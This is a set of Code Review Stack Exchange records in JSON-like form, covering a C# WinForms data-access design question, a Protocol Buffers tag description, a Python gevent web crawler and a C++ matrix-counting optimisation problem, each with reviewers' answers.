"game",
"meta-programming"
],
"Title": "Zombie Smack Down game"
} | 46983 |
<p>I'm a beginner to .NET and could you guide me to right direction. My problem is based on the following code. Here I have 4 variations of same method and all 4 variations are working fine.</p>
<ol>
<li><p>What is the recommended or standard way of doing this? </p></li>
<li><p>If none of these methods are okay, kindly suggest one with code?</p></li>
</ol>
<p>Code explanation:</p>
<p>From a windows form I'm calling a <code>viewAccount()</code> method which is in <code>bankAccount</code> class. Its purpose is to get relevant bank account details of an employee from the database and then those details should be shown in the text boxes of calling form.</p>
<p>Also please note that I have reduced no of line to make it more readable.</p>
<p><strong>Example 01</strong> - Method will return a <code>bankAccount</code> object with fields populated with data from the database </p>
<pre><code>class bankAccount
{
//Member fields...
string acNo;
string acName;
string bank;
string acType;
frmShowAccount form=new frmShowAccount();
public bankAccount viewAccount( string acNo )
{
this.acNo = acNo;
using (SqlConnection newCon = new SqlConnection(db.GetConnectionString))
{
SqlCommand newCmd = new SqlCommand("SELECT Employee.Name, BankAccount.ac_name, BankAccount.bank_name, BankAccount.ac_type FROM BankAccount INNER JOIN Employee ON BankAccount.emp_id = Employee.Emp_ID WHERE (BankAccount.ac_no = @bankAccount)", newCon);
newCmd.Parameters.Add("@bankAccount", SqlDbType.Char).Value = acNo;
newCon.Open();
SqlDataReader rdr = newCmd.ExecuteReader();
rdr.Read();
form.txtEmpName.text = rdr.GetString(0); //EmpName is not a member of bankAccount class
this.acName = rdr.GetString(1);
this.bank = rdr.GetString(2);
this.acType = rdr.GetString(3);
return this;
}
}
}
// CALLING THE ABOVE METHOD...
bankAccount newBA = new bankAccount();
newBA = newBA.viewAccount(txtACNo.text); // A reference is set to the instance returned
txtACName.text = newBA.acName; // Get the value of instance field to text box
</code></pre>
<p><strong>Example 02</strong> - Method will return a data reader and it will be used by the form to get data</p>
<pre><code> class bankAccount
{
string acNo;
string acName;
string bank;
string acType;
public SqlDataReader viewAccount( string acNo )
{
this.acNo = acNo;
using (SqlConnection newCon = new SqlConnection(db.GetConnectionString))
{
SqlCommand newCmd = new SqlCommand("Same SELECT …”,newCon);
newCmd.Parameters.Add()…
newCon.Open();
SqlDataReader rdr = newCmd.ExecuteReader();
rdr.Read();
return rdr;
}
}
}
//CALLING THE ABOVE METHOD...
bankAccount newBA = new bankAccount();
SqlDataReader rdr = newBA.viewAccount(txtACNo.text) //A reference to hold the returning reader from the method call
txtACName.text = rdr.getString(1); //Get the value through the reader to text box
</code></pre>
<p><strong>Example 03</strong>: this method want return values but explicitly assign values to the text boxes in the form</p>
<pre><code> class bankAccount
{
string acNo;
string acName;
string bank;
string acType;
frmShowAccount form=new frmShowAccount();
public void viewAccount( string acNo )
{
this.acNo = acNo;
using (SqlConnection newCon = new SqlConnection(db.GetConnectionString))
{
SqlCommand newCmd = new SqlCommand("Same SELECT …", newCon);
newCmd.Parameters.Add()…
newCon.Open();
SqlDataReader rdr = newCmd.ExecuteReader();
rdr.Read();
// Setting values to the text boxes in the current instance of form
form.txtName.text=rdr[0];
form.txtACName.text=rdr[1];
form.txtBankName.text=rdr[2];
form.txtACType.text=rdr[3];
}
}
}
//CALLING THE ABOVE METHOD
bankAccount newBA = new bankAccount();
newBA.form.this; // reference 'form' which is in the 'bankAccount' class is set to current instance of the form object.
</code></pre>
<p><strong>Example 04</strong>: this method want return any value. It will only initialize instance fields of the class with the data</p>
<pre><code> class bankAccount
{
string acNo;
string acName;
string bank;
string acType;
frmShowAccount form=new frmShowAccount();
public void viewAccount( string acNo )
{
this.acNo = acNo;
using (SqlConnection newCon = new SqlConnection(db.GetConnectionString))
{
SqlCommand newCmd = new SqlCommand("Same SELECT …)", newCon);
newCmd.Parameters.Add()…
newCon.Open();
SqlDataReader rdr = newCmd.ExecuteReader();
rdr.Read();
form.txtName.text=rdr[0];
this.acName=rdr[1];
this.bank=rdr[2];
this.acType=rdr[3];
}
}
// CALLING THE ABOVE METHOD
bankAccount newBA = new bankAccount();
txtACName.text = newBA.acName; // Text boxes get the data from account object's instance fields (probably through a get property)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T03:33:02.550",
"Id": "82283",
"Score": "0",
"body": "you should separate these into 4 separate questions I think. and then see what answers you get from each of them, then you could better decide which one you like the best."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T03:37:57.290",
"Id": "82287",
"Score": "1",
"body": "@Malachi that was also my first/original thought, but it can be reviewed as a whole."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T03:46:50.840",
"Id": "82290",
"Score": "0",
"body": "@Mat'sMug, I read a couple and decided to answer...lol"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T04:16:47.227",
"Id": "82291",
"Score": "0",
"body": "I like that you're using parameterized queries."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T17:26:50.227",
"Id": "82324",
"Score": "1",
"body": "Consider using an ORM, like Entity Framework."
}
] | [
{
"body": "<p>with all of the methods you should add another <code>using</code> statement for your Readers as well. </p>\n\n<p>right now you aren't closing your reader, I am not sure that the reader is closed inside the using block of the connection, but I would imagine it should be, logically you can't have the reader after the connection is closed so I would think it would close the reader automatically. The only thing with that is you don't see it in the code so you can't be sure that is what it is doing. </p>\n\n<p>If I were you I would just wrap it in a using statement.</p>\n\n<hr>\n\n<p>you should also use a <code>using</code> statement with </p>\n\n<pre><code>SqlCommand newCmd = new SqlCommand(\"Same SELECT …)\", newCon);\n</code></pre>\n\n<p>like this</p>\n\n<pre><code>using (SqlConnection newCon = new SqlConnection(db.GetConnectionString)) {\n using (SqlCommand newCmd = new SqlCommand(\"Same SELECT …)\", newCon) {\n newCmd.Parameters.Add()…\n newCon.Open();\n Using (SqlDataReader rdr = newCmd.ExecuteReader()) {\n rdr.Read();\n\n form.txtName.text=rdr[0];\n this.acName=rdr[1];\n this.bank=rdr[2];\n this.acType=rdr[3];\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T03:39:40.983",
"Id": "46986",
"ParentId": "46985",
"Score": "6"
}
},
{
"body": "<h1>None of the Above.</h1>\n<p>You've shown 4 different ways of mixing up presentation and data concerns; the 4 approaches only differ in minute implementation details and all suffer the same flaws - what you have here is a <em>God class</em> that knows everything about everything there is to know.</p>\n<p>Let's think differently.</p>\n<hr />\n<p>This answer uses the names I would have used instead of yours.</p>\n<hr />\n<p>We have <em>at least</em> <strong>3 distinct, separate things</strong>:</p>\n<ul>\n<li><p>We have a <code>Form</code> that knows about its textboxes.</p>\n</li>\n<li><p>We have a <code>BankAccountInfo</code> that holds an <code>AccountNumber</code>, an <code>AccountName</code>, an <code>AccountType</code> the <code>BankName</code> and an <code>EmployeeName</code>.</p>\n</li>\n<li><p>We have a way to fetch data from the database, here ADO.NET.</p>\n</li>\n</ul>\n<p>Each of these 3 concepts is its own class - you have the <code>Form</code> and the <code>BankAccount</code>, but you've turned the bank account into some "coordinator" that knows about the <code>Form</code> and deals with fetching the data from the database.</p>\n<p>Leaving the form aside, <code>BankAccountInfo</code> should look like this:</p>\n<pre><code>public class BankAccountInfo\n{\n public string AccountNumber { get; set; }\n public string AccountName { get; set; }\n public string AccountType { get; set; }\n public string BankName { get; set; }\n public string EmployeeName { get; set; }\n}\n</code></pre>\n<p><em>Where's the code?</em> Elsewhere. It's not the role of this object to know about textboxes, nor about some SQL backend. It has only one, simple goal: expose data. Not <em>fetch</em> data - that's the role of a <em>service</em> class:</p>\n<pre><code>public class BankAccountDataService\n{\n private readonly string _connectionString;\n public BankAccountDataService(string connectionString)\n {\n _connectionString = connectionString;\n }\n\n public BankAccountInfo GetByAccountNumber(string accountNumber)\n {\n using (var connection = new SqlConnection(_connectionString))\n {\n var sql = "SELECT ...";\n connection.Open();\n using (var command = new SqlCommand(sql, connection))\n {\n command.Parameters.AddWithValue(...);\n using (var reader = command.ExecuteReader())\n {\n if (reader.Read())\n {\n return new BankAccountInfo\n {\n EmployeeName = reader[0].ToString(),\n AccountNumber = reader[1].ToString(),\n AccountName = reader[2].ToString(),\n BankName = reader[3].ToString(),\n AccountType = reader[4].ToString()\n }; \n }\n }\n }\n }\n\n return null;\n }\n}\n</code></pre>\n<p>Now you have a class whose role is specifically to interact with the database; its interface gives you a <code>GetByAccountNumber</code> method that lets you fetch everything there is to know about a <code>BankAccountInfo</code> by passing in an account number. It knows nothing of a form, and it doesn't care how the returned object is being used, it's none of its concern.</p>\n<p>This is where you have a design decision to make: you need to somehow "connect" these pieces together. Let's see:</p>\n<ul>\n<li>the form really only needs to know about <code>BankAccountInfo</code>.</li>\n<li>the <code>BankAccountInfo</code> doesn't need to know about <code>BankAccountDataService</code>.</li>\n<li>the <code>BankAccountDataService</code> needs to know about <code>BankAccountInfo</code> (and any other type it might return).</li>\n</ul>\n<p>We're missing something else.</p>\n<pre><code>public class BankAccountPresenter\n{\n private BankAccountView _form;\n private BankAccountDataService _service;\n\n public BankAccountPresenter(BankAccountView form, BankAccountDataService service)\n {\n _form = form;\n _form.OnShowAccountInfo += View_OnShowAccountInfo;\n\n _service = service;\n }\n\n public void Show()\n {\n _form.ShowDialog();\n }\n\n private View_OnShowAccountInfo(object sender, EventArgs e)\n {\n var info = _service.GetByAccountNumber(_form.AccountNumber);\n if (info == null)\n {\n MessageBox.Show("Could not find an account for specified number.");\n return;\n }\n\n _form.AccountName = info.AccountName;\n _form.AccountType = info.AccountType;\n _form.BankName = info.BankName;\n }\n}\n</code></pre>\n<p>The above assumes that there's another class that's calling the presenter's <code>Show</code> method (that class will own the <code>form</code> and the <code>service</code> instances), and that the <code>BankAccountView</code> class looks something like this:</p>\n<pre><code>public partial class BankAccountView : Form\n{\n public event EventHandler OnShowAccountInfo;\n\n public string AccountNumber\n {\n get { return AccountNumberTextBox.Text; }\n set { AccountNumberTextBox.Text = value; }\n }\n\n public string AccountName\n {\n get { return AccountNameTextBox.Text; }\n set { AccountNameTextBox.Text = value; }\n }\n\n public string AccountType\n {\n get { return AccountTypeTextBox.Text; }\n set { AccountTypeTextBox.Text = value; }\n }\n\n public string BankName\n { \n get { return BankNameTextBox.Text; } \n set { BankNameTextBox.Text = value; }\n }\n\n public BankAccountView()\n {\n InitializeComponents();\n }\n\n private void GetAccountInfoButton_Click(object sender, EventArgs e)\n {\n if (OnShowAccountInfo != null)\n {\n OnShowAccountInfo(this, EventArgs.Empty);\n }\n }\n}\n</code></pre>\n<hr />\n<p>What's going on here? The <em>view</em> does nothing other than <em>displaying</em> the data and <em>notifying</em> the <em>presenter</em> whenever it needs something to happen - here, the user clicked a button: the presenter does all the work, fetching the required <em>model</em> from the database using an instance of a <em>service</em> class. Everyone plays its own little part, and everything is properly encapsulated - you don't expose the form's <code>TextBox</code> members, rather, you expose a <code>string</code> that represents that textbox' value.</p>\n<hr />\n<h1>Your Code</h1>\n<p>I already commented on that, but I'll reiterate it: I like that you're using parameters. Lots of beginners will just concatenate them into the command string, and <s>that tends to make my eyes bleed</s> <em>that's rather ugly</em>.</p>\n<p>Here's a brain-dump of what jumped at me while I was reviewing your code:</p>\n<ul>\n<li><strong>Java-style naming</strong>. <code>camelCase</code> in C# is for locals (parameters, etc.) - class, method and property names use <code>PascalCase</code>.</li>\n<li><strong>Hungarian Notation and Disemvoweling</strong>. Don't chop off vowels in your identifiers. Use names that you can pronounce. Since this is WinForms there's some kind of a historical consensus about the accepted semi-Hungarian naming style for controls though.</li>\n<li><strong>Undisposed disposables</strong>. You're using <code>using</code> blocks and that's great, however you're not consistently disposing all objects that implement <code>IDisposable</code>, that's less great.</li>\n<li><strong>Misleading names</strong>. The <code>ViewAccount(string)</code> method doesn't actually display anything, it <em>fetches</em> information. <em>Do what you say, say what you do.</em></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:43:24.083",
"Id": "82315",
"Score": "0",
"body": "Your answer is very helpful. Before accepting it I have one thing to know. In my system I have several entity classes like employee, client etc, having to interact with db. So that should I write separate DataService and presenter classes for each?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:53:58.050",
"Id": "82316",
"Score": "1",
"body": "I'd probably make a presenter per form, and have the service class expose everything that a form needs to use; if things start getting tangled, then I'd refactor / extract classes as needed, to keep responsibilities clear. Notice there's no Employee class here, `BankAccountInfo` isn't tied to a single data table - it represents a 'model' that the view is using. The service class can tell which information from that 'model' belongs in which db table. Check out the 'Model-View-Presenter' pattern (sorry no link, phone post!) ;)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T23:15:18.373",
"Id": "82360",
"Score": "2",
"body": "Very good answer, only thing I'd add is as the system goes you'll want more of these services (or repositories as they're commonly called), and you'll have other services in between when you need to abstract away complex combinations of repositories."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T04:19:01.863",
"Id": "82391",
"Score": "0",
"body": "Now presenting a model from database to UI is clear. But if we have some thing to do with the bankAccountInfo before presenting it to UI, ( a business logic ) where to put that code? In bankAccountInfo class?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T14:19:37.093",
"Id": "82411",
"Score": "0",
"body": "Could you please clarify, When the constructor of the BankAccountPresenter class is called in the above example ? (public BankAccountPresenter(BankAccountView form, BankAccountDataService service))"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T14:59:10.077",
"Id": "82415",
"Score": "1",
"body": "@Chathur that can depend on many things, but you'll probably want to look into `Program.cs`. Notice how I don't `new` up things but instead receive them in from the constructor? This is called *constructor injection*; look for \"Dependency Injection\" if you like this approach. Basically you'll `new` up all these objects near the application's entry point. As for busines logic, it can go in the presenter class, and be refactored into its own class if needed. Hope it helps!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T07:49:33.653",
"Id": "83361",
"Score": "0",
"body": "@ Mat's Mug, I got the point about DI. But still not clear this... \"Basically you'll new up all these objects near the application's entry point.\". Lets say for ex. I have a MDI form and there are 10 form under the MDI. Each form has a presenter. So when the user wants to show next form, he just clicks particular button/menu in the MDI. In this case how does the corresponding form presenter's constructor called? (as next form will be shown by it's presenters form.ShowDialog())"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T05:25:43.493",
"Id": "46987",
"ParentId": "46985",
"Score": "20"
}
}
] | {
"AcceptedAnswerId": "46987",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T03:29:01.397",
"Id": "46985",
"Score": "19",
"Tags": [
"c#",
"beginner",
".net",
"winforms"
],
"Title": "Displaying data from a database onto a form"
} | 46985 |
<p>Protocol buffers are a flexible, efficient, automated mechanism for serializing structured data – think XML, but smaller, faster, and simpler. You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams and using a variety of languages. You can even update your data structure without breaking deployed programs that are compiled against the "old" format.</p>
<p>Sample definition:</p>
<pre><code>message Person {
required string name = 1;
required int32 id = 2;
optional string email = 3;
enum PhoneType {
MOBILE = 0;
HOME = 1;
WORK = 2;
}
message PhoneNumber {
required string number = 1;
optional PhoneType type = 2 [default = HOME];
}
repeated PhoneNumber phone = 4;
}
</code></pre>
<p>More info at the <a href="https://developers.google.com/protocol-buffers/docs/overview" rel="nofollow">official protobuf site</a>.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T08:46:13.107",
"Id": "46991",
"Score": "0",
"Tags": null,
"Title": null
} | 46991 |
Protocol Buffers are a way of encoding structured data in an efficient yet extensible format. Google uses Protocol Buffers for almost all of its internal RPC protocols and file formats. | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T08:46:13.107",
"Id": "46992",
"Score": "0",
"Tags": null,
"Title": null
} | 46992 |
<p>The crawler is in need of a mechanism that will dispatch threads based on network latency and system load. How does one keep track of network latency
in Python without using system tools like ping?</p>
<pre><code>import sys
import re
import urllib2
import urlparse
import requests
import socket
import threading
import gevent
from gevent import monkey
import time
monkey.patch_all(
socket=True,
dns=True,
time=True,
select=True,
thread=True,
os=True,
ssl=True,
httplib=False,
subprocess=False,
sys=False,
aggressive=True,
Event=False)
# The stack
tocrawl = set([sys.argv[1]])
crawled = set([])
linkregex = re.compile('<a\s*href=[\'|"](.*?)[\'"].*?>')
def Update(links):
if links != None:
for link in (links.pop(0) for _ in xrange(len(links))):
link = ( "http://%s" %(urlparse.urlparse(link).netloc) )
if link not in crawled:
tocrawl.add(link)
def getLinks(crawling):
crawled.add(crawling)
try:
Update(linkregex.findall(requests.get(crawling).content))
except:
return None
def crawl():
try:
print"%d Threads running" % (threading.activeCount())
crawling = tocrawl.pop()
print crawling
print len(crawled)
walk = gevent.spawn(getLinks,crawling)
walk.run()
except:quit()
def dispatcher():
while True:
T = threading.Thread(target=crawl)
T.start()
time.sleep(1)
dispatcher()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:55:45.520",
"Id": "82317",
"Score": "0",
"body": "The idea is to hit n domains and after n domains\nhave been hit stop crawling and check each domain\nin the set of crawled domains for rss feeds"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-06-19T17:57:05.957",
"Id": "95651",
"Score": "1",
"body": "Rolled back Rev 5 → 2. Please don't edit code in the question after it has been answered; you have several [options](http://meta.codereview.stackexchange.com/q/1763) for follow-ups."
}
] | [
{
"body": "<p>I see a flurry of downloading activity, but I don't see that you do anything with the pages that you download except parse some URLs for more downloading. There's no rate limiting or any attempt to check <a href=\"http://www.robotstxt.org\"><code>robots.txt</code></a>, making your web crawler a poor Internet citizen.</p>\n\n<p><a href=\"http://legacy.python.org/dev/peps/pep-0008/\">PEP 8</a> mandates four spaces per level of indentation. Since whitespace is significant in Python, you should stick to the convention. Furthermore, function names should be <code>lower_case()</code>, so <code>Update()</code> and <code>getLinks()</code> should be renamed.</p>\n\n<p>Just a simple call to <code>gevent.monkey.patch_all()</code> will do. There is no need to <code>from gevent import monkey</code>, nor is there any need to list all of the keyword parameters, since you're accepting all of the defaults.</p>\n\n<p>Your <code>linkregex</code> fails if the <code><a></code> tag contains any intervening attributes before <code>href</code>. For example, <code><a target=\"_blank\" href=\"…\"></code> will cause a link to be skipped.</p>\n\n<p>I don't believe that your code is a well behaved multithreaded program. For one thing, you indiscriminately spawn and start one thread per second. If the average processing time per request exceeds one second, you'll end up with an uncontrolled proliferation of threads.</p>\n\n<p>Another issue is that you <code>add()</code> and <code>pop()</code> <code>tocrawl</code> elements without any kind of locking. Also, if one thread fails to <code>pop()</code> anything (probably when the <code>tocrawl</code> list becomes empty), you rudely call <code>quit()</code> without giving other threads a chance to finish what they are doing.</p>\n\n<p>Finally, you process the URLs using a stack. Web crawling is usually done using a queue, to avoid processing clusters of closely related URLs together and concentrating the load on one unfortunate webserver at a time.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:55:51.403",
"Id": "46996",
"ParentId": "46993",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:16:39.127",
"Id": "46993",
"Score": "5",
"Tags": [
"python",
"multithreading",
"http",
"web-scraping"
],
"Title": "A simple little Python web crawler"
} | 46993 |
<p>I need help optimizing my code to run faster (it works but I get Time Limit Exceeded) for <a href="http://www.codechef.com/APRIL14/problems/CNPIIM" rel="nofollow">this problem</a>.</p>
<p>(Don't pay attention to <code>readInt()</code> function, its only used for fast input)</p>
<pre><code>#ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif
#include<iostream>
#include<vector>
#include<fstream>
#include<algorithm>
#include<string>
#include<cmath>
using namespace std;
int T, N;
int readInt() {
bool minus = false;
int result = 0;
char ch;
ch = getchar();
while (true) {
if (ch == '-') break;
if (ch >= '0' && ch <= '9') break;
ch = getchar();
}
if (ch == '-') minus = true; else result = ch - '0';
while (true) {
ch = getchar();
if (ch < '0' || ch > '9') break;
result = result * 10 + (ch - '0');
}
if (minus)
return -result;
else
return result;
}
bool Luwia(int x) { return x % 2 == 0; }
int func1(int x)
{
return x - 1;
}
unsigned long long func2(int x)
{
unsigned long long sum = 0;
for (int i = 1; i < x; i++)
{
sum += (x - 1) / i;
}
return sum;
}
unsigned long long Luwistvis(int n)
{
unsigned long long sum1 = 0;
int k = 1;
bool first = true;
for (int i = pow(n, 2) / 4; i >= n - 1;)
{
if (i != pow(n, 2) / 4)
{
sum1 += 2 * func2(i);
}
else
{
sum1 += func2(i);
}
if (first)
{
i -= 1; first = false; continue;
}
i -= (k + 2);
k = k + 2;
}
return sum1;
}
unsigned long long Kentistvis(int n)
{
unsigned long long sum2 = 0;
int k = 0;
for (int i = pow(n, 2) / 4; i >= n - 1;)
{
sum2 += 2 * func2(i);
i -= (k + 2);
k = k + 2;
}
return sum2;
}
int main() {
cin >> T;
while (T--)
{
N = readInt();
if (Luwia(N)) printf("%llu\n", Luwistvis(N));
else printf("%llu\n", Kentistvis(N));
}
return 0;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:50:34.227",
"Id": "82297",
"Score": "1",
"body": "Could you please translate the names of the functions `Luwia`, `Luwistvis` and `Kentistvis` to english?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:52:45.857",
"Id": "82298",
"Score": "1",
"body": "is_even, for_even, for_odd"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T17:27:52.800",
"Id": "82325",
"Score": "2",
"body": "This strikes me as the sort of problem that requires optimization of the algorithm rather than the code itself. Rather than basically generating and counting all the matrices that fit the conditions, you need to figure things out mathematically, so the program itself does a relatively simple computation on the inputs."
}
] | [
{
"body": "<p>A good part of this review will not be about optimization but about style. The speed of your program should not be worse after you apply the changes though. First of all, you should order your headers by alphabetic order: this will allow you to check whether a header is inluded or not without having to search for it longer than needed:</p>\n\n<pre><code>#include <algorithm>\n#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <string>\n#include <vector>\n</code></pre>\n\n<hr>\n\n<p>Writing <code>using namespace std;</code> <a href=\"https://stackoverflow.com/q/1452721/1364752\">is bad practice</a> especially in header files: it will pollute the namespace and may cause name clashes. Moreover, you don't even need it except for <code>std::cin</code>. Writing <code>std::</code> is no longer and it's also good practice to put it before any standard function, including C legacy functions (<code>std::printf</code>, <code>std::pow</code>...).</p>\n\n<hr>\n\n<p>In C++, you don't need to write <code>return 0;</code> at the end of your <code>main</code> function. If the compiler reaches the end of <code>main</code> and don't find any <code>return</code> statement, it will automagically add <code>return 0;</code>.</p>\n\n<hr>\n\n<p>Your function names are not really good:\n* As noted in the comments, you shouldn't mix languages in code. C++ is an English language, therefore, you should rename <code>Luwia</code>, <code>Luwistvis</code> and <code>Kentistvis</code> to <code>is_even</code>, <code>for_even</code> and <code>for_odd</code>.</p>\n\n<p>Moreover, <code>for_even</code> and <code>for_odd</code> do not tell what the functions actually do but merely say that you should give even or odd numbers to them. You should give more meaningful names.</p>\n\n<p>You should <em>really</em> rename <code>func1</code> and <code>func2</code>. The names don't give any clue about what these functions do, and the name of the parameters do not help at all. Also, you should be consistent when naming your parameters: <code>func2</code> takes <code>int x</code> while <code>Luwistvis</code> takes <code>int n</code>, which is not consistent.</p>\n\n<hr>\n\n<p>You do not use <code>func1</code> at all. You should remove it since it does not seem to add anything (and it's faster to write <code>x-1</code> whatsoever, which I assume is what you actually did in <code>func2</code>).</p>\n\n<hr>\n\n<p>In your main, you use <code>std::cin</code> for input for <code>std::printf</code> for output. You should be consistent and use <code>std::cout</code> which is the idiomatic C++ way to output values to the console.</p>\n\n<hr>\n\n<p>You can refactor this loop:</p>\n\n<pre><code>int k = 0;\nfor (int i = pow(n, 2) / 4; i >= n - 1;)\n{\n sum2 += 2 * func2(i);\n i -= (k + 2);\n k = k + 2;\n}\n</code></pre>\n\n<p>First of all, you can put the <code>int k = 0</code> in the first part of the <code>for</code> loop since it won't be needed after the loop. Then, you increment <code>k</code> before decrementing <code>i</code>, that will save you from repeating <code>k + 2</code>. Also, you can replace <code>k = k + 2</code> by <code>k += 2</code> (use compound assignement operators when you can). Finally, you can put the <code>k</code> incrementation and <code>i</code> decrementation in the last part of the <code>for</code> loop:</p>\n\n<pre><code>for (int i = pow(n, 2) / 4, k = 0;\n i >= n - 1;\n k += 2, i -= k)\n{\n sum2 += 2 * func2(i);\n}\n</code></pre>\n\n<p>That say, I don't think it looks <em>really</em> nice either.</p>\n\n<hr>\n\n<p>Some more tidbits:</p>\n\n<ul>\n<li><code>std::pow(n, 2)</code> is good, <a href=\"https://stackoverflow.com/q/6321170/1364752\">it shouldn't be different</a> from <code>n*n</code> on any decent compiler, and is somehow more expressive.</li>\n<li>In <code>Luwistvis</code>, you compute <code>pow(n, 2) / 4</code> at every iteration of your <code>for</code> loop. While some compilers may perform loop optimizations, you should define a constant instead.</li>\n<li>It does not make any difference for integers, but for other types, pre-increment (<code>++i</code>) may be faster than post-increment (<code>i++</code>). Therefore, you should always use pre-increment, unless you explicitly need post-increment.</li>\n</ul>\n\n<hr>\n\n<p>Overall, someone else will probably be able to give you a way to optimize the algorithm instead of optimizing the code. Choosing the good algorithm is the best way to achieve the best performance.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T17:30:15.870",
"Id": "47010",
"ParentId": "46994",
"Score": "5"
}
},
{
"body": "<p>Well you have lots of code in your loop that only happens once.<br>\nYou could manually hoist this out of the loop and decrease the size of the loop once.</p>\n\n<pre><code>unsigned long long Luwistvis(int n)\n{\n unsigned long long sum1 = 0;\n int k = 1;\n bool first = true;\n for (int i = pow(n, 2) / 4; i >= n - 1;)\n {\n if (i != pow(n, 2) / 4)\n {\n sum1 += 2 * func2(i);\n\n }\n //\n // This only happens on the first iteration\n else\n {\n sum1 += func2(i);\n }\n\n //\n // This only happens on the first iteration\n if (first)\n {\n i -= 1; first = false; continue;\n }\n i -= (k + 2);\n k = k + 2;\n }\n return sum1;\n}\n</code></pre>\n\n<ol>\n<li>Yank that stuff out of the loop it will probably make it fast. </li>\n<li>If you must have branches in a loop then make the true branch the one that happens most frequently.<br>\n<ul>\n<li>This is because when the CPU reaches a branch it caries on executing instructions (in predictive mode (all modern machines)) until the value of the condition is evaluated.</li>\n<li>If the value was true then you predicted write and no harm.</li>\n<li>If the condition evaluates to false then you have to throw away your predictive work and execute the other branch</li>\n<li>Note: This is totally invisible at the code level but can give significant speed ups.</li>\n<li>So for best result put frequent code in the true branch (there compiler extension to help with this).</li>\n</ul></li>\n</ol>\n\n<p>Step 1: Yank the first iteration.</p>\n\n<pre><code>unsigned long long Luwistvis(int n)\n{\n unsigned long long sum1 = 0;\n int k = 1;\n bool first = true;\n\n // Do first iteration outside the loop.\n int i;\n {\n i = (pow(n, 2) / 4);\n if (i != pow(n, 2) / 4)\n {\n sum1 += 2 * func2(i);\n\n }\n //\n // This only happens on the first iteration\n else\n {\n sum1 += func2(i);\n }\n\n //\n // This only happens on the first iteration\n if (first)\n {\n i -= 1; first = false; continue;\n }\n i -= (k + 2);\n k = k + 2;\n }\n\n for(; i >= n - 1;)\n {\n if (i != pow(n, 2) / 4)\n {\n sum1 += 2 * func2(i);\n\n }\n //\n // This only happens on the first iteration\n else\n {\n sum1 += func2(i);\n }\n\n //\n // This only happens on the first iteration\n if (first)\n {\n i -= 1; first = false; continue;\n }\n i -= (k + 2);\n k = k + 2;\n }\n return sum1;\n}\n</code></pre>\n\n<p>Step 2: Remove dead code</p>\n\n<pre><code>unsigned long long Luwistvis(int n)\n{\n unsigned long long sum1 = 0;\n int k = 1;\n bool first = true;\n\n // Do first iteration outside the loop.\n int i;\n {\n i = (pow(n, 2) / 4);\n sum1 += func2(i);\n i -= 1;\n }\n\n for(; i >= n - 1;)\n {\n sum1 += 2 * func2(i);\n i -= (k + 2);\n k = k + 2;\n }\n return sum1;\n}\n</code></pre>\n\n<p>Step 3 re-factor to look nice</p>\n\n<pre><code>unsigned long long Luwistvis(int n)\n{\n int k = 1;\n int i = (pow(n, 2) / 4);\n unsigned long long sum1 = func2(i);\n\n for(--i; i >= n - 1;)\n {\n sum1 += 2 * func2(i);\n i -= (k + 2);\n k = k + 2;\n }\n return sum1;\n}\n</code></pre>\n\n<p>This function:</p>\n\n<pre><code>unsigned long long func2(int x)\n{\n unsigned long long sum = 0;\n for (int i = 1; i < x; i++)\n {\n sum += (x - 1) / i;\n }\n return sum;\n}\n</code></pre>\n\n<p>Is doing a huge loop.<br>\nI bet there is a formula that expresses that intent and can be done quicker than a loop. Work out what the formula is and use that instead.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T17:42:29.953",
"Id": "47011",
"ParentId": "46994",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47011",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T09:41:30.377",
"Id": "46994",
"Score": "5",
"Tags": [
"c++",
"optimization",
"algorithm",
"programming-challenge"
],
"Title": "Counting matrices"
} | 46994 |
